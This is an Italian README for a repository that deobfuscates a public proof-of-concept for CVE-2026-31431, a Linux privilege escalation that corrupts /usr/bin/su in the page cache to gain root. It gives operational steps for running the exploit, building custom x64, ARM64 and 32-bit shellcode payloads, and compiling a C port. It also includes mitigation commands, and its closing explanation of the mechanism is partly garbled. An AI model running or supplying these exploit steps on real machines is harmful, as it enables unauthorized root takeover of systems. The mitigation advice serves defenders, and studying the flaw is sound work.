
Versione facile da capire di CVE-2026-31431
Versione facile da comprendere di CVE-2026-31431, una tecnica di escalation dei privilegi che consente a chiunque di diventare root. Il proof-of-concept originale si trova qui: https://github.com/theori-io/copy-fail-CVE-2026-31431, ma è fortemente compresso e minificato per avere un ingombro il più piccolo possibile. Questo repository tenta di scomporre quel codice in una forma più leggibile, includendo cosa fa il codice, come viene caricato il payload e come prendere di mira diverse architetture. Vedi l'analisi più tecnica qui: https://xint.io/blog/copy-fail-linux-distributions.
Per impostazione predefinita, eseguendo python3 copyfail.py verrà eseguito uno shellcode x64 che sfrutta /usr/bin/su. Puoi fornire il tuo payload eseguendo python3 copyfail.py [path/to/custom/payload.elf]. Ad esempio, all'interno di payloads/ è presente un assembly shellcode per ARM64. Quindi, per testare su dispositivi ARM64, devi prima creare un payload minimizzato con il nostro script di linker personalizzato:
as -o shellcode_aarch64.o payloads/shellcode_aarch64.S
ld -nostdlib -static -o shellcode_aarch64.elf shellcode_aarch64.o
strip -s shellcode_aarch64.elf
Poi puoi eseguire l'exploit principale usando python3 copyfail.py shellcode_aarch64.elf.
Per l'esecuzione in C:
./c_copyfail che esegue lo stesso shellcode predefinito di cui sopra../c_copyfail [path/to/custom/payload.elf].Per compilare la versione C:
cd c_port
make
Nello specifico, compila il file .S di destinazione in un binario grezzo che viene generato come array C di unsigned char:
gcc -c payloads/[shellcode].S
objcopy -O binary [shellcode].o [payload].raw
xxd -i [payload].raw > payload.txt
oppure, per x86 a 32 bit,
gcc -c -m32 payloads/[shellcode].S
objcopy -O binary [shellcode].o [payload].raw
xxd -i [payload].raw > payload.txt
Puoi quindi copiare il contenuto di questo file nel tuo codice sorgente, oppure eseguire direttamente ./c_copyfail.exe [path/to/payload.elf] dove payload.elf è generato da as + ld e NON da gcc + objcopy.
Per evitare lo sfruttamento, esegui:
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null
Se il sistema è già stato sfruttato, puoi riavviare la macchina oppure eseguire:
echo 3 | sudo tee /proc/sys/vm/drop_caches
AF_ALGsplice(), il kernel inserisce le pagine effettive della page-cache del file su cui hai eseguito splice() nell'area di lavoro della crypto/usr/bin/su in questo caso)/usr/bin/su, il kernel lo legge dalla page cache e ottiene i byte modificati/usr/bin/su così che l'UID sia 0 (root)Il binario su viene corrotto in memoria, quindi la modifica del file non verrà rilevata. Per ripristinarlo dal disco, puoi svuotare la page-cache.